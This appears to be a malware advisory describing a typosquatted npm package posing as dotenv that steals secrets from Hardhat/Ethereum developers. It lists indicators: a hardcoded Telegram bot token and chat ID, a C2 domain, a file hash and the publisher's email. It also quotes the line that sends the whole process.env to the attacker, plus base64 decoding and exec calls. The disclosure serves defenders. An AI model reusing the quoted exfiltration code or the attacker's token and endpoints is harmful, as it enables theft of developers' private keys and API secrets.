GCVE-110-OSM-2026-5921

This is a typosquatting package impersonating the legitimate dotenv library, targeting Ethereum/Hardhat developers. The package masquerades as dotenv (claiming authorship of `motdotla` and pointing to the legitimate dotenv GitHub repo) while being published by a single-package gmail account (`cyber-tech`/`morganlouis803@gmail.com`). The attacker model is credential theft from Hardhat/EVM developers targeting crypto private keys and API secrets stored in .env files. ENTRY lib/main.js (main: lib/main.js) DESTINATION - telegram-bot: 7563340595:AAH4vy1NSEk0vBJY0H4Fcm1fG39cZWzL5-Q (primary, deobfuscated) in lib/main.js - custom-c2: https://dotenvx.com/ops (deobfuscated) in lib/main.js - deobfuscated: dotenvx.com (fetched-payload, deobfuscated) EXFIL - System Information Collection in lib/main.js: "os.homedir()" OBFUSCATION - IOCs Found in Deobfuscated Code in lib/main.js - Dynamic Base64 Decoding in lib/main.js: "Buffer.from(encrypted, 'base64')" - recovered 4 urls, 1 domains, 2 emails, 1 telegramBots, 1 _domainCandidates from decoded/deobfuscated content ADDITIONAL FINDINGS - Dynamic Code Execution in lib/main.js: "exec(lines)" The code in lib/main.js is unambiguous: it hardcodes a Telegram bot token (`7563340595:AAH4vy1NSEk0vBJY0H4Fcm1fG39cZWzL5-Q`) and chat ID (`1855172873`), then inside `configDotenv()` — which executes whenever the package is used — instantiates a TelegramBot and calls `bot.sendMessage(UID, 'evm_hardhat:: ' + JSON.stringify(process.env, null, 2))`, exfiltrating the entire environment variable set (including secrets, API keys, private keys) to the attacker's Telegram accoun PAYLOAD FILES lib/main.js INDICATORS (IOCs) - payloadFileHash: eab740f9f9c14bdf299c977512f40ef17855c396ce35be0f6680b99e1eea6a77 TELEGRAM THREAT-ACTOR INTELLIGENCE (live API enrichment): Bot @evm_hat_bot (id 7563340595)